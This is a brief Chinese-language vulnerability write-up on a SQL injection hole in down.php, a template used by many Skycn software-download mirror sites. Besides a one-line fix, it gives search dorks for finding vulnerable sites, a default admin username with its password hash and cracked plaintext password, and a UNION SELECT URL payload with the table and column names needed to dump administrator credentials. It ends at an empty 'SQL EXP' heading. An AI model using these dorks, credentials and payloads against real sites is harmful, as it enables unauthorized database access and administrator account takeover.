天空软件站SQL注入漏洞

天空软件站是国内著名的下载站点，提供国内外最新免费软件、共享软件下载。其在全国各地铁通、联通、电信、信息港等都建有以php+MySql架设的下载分站，相当一部分下载分站的建站程序采用同一套建站模板，而这套建站模板存在SQL注入漏洞。

关键词：inurl:down.php
漏洞文件：down.php

down.php 中没有对get变量$id做任何过滤措施，导致攻击者可以任意使用SQL注入语句进行攻击，通过测试发现，多数管理员登陆口令默认密码并未修改，默认管理员信息为1111_7363a304be1a682efaf10702fc7b97d8，解密密码hash可知默认密码为sky!@#cn！

解决方法：$id=(int)$_GET['id'];

注入利用：
keyword:Copyright©1998 - 2007 Skycn.com All Rights Reserved inurl:down.php
http://site.com/down.php?id=1+union+select+column_numbers+from+table_name
column_numbers:不固定，通常为50+,也有少于40,例如临沂信息港测试为38个显示位
table_name:管理员表段名为master,字段名为username,password
在字段2软件标题显示位填写concat(username,0x5f,password)即可爆出管理员登陆口令

SQL EXP：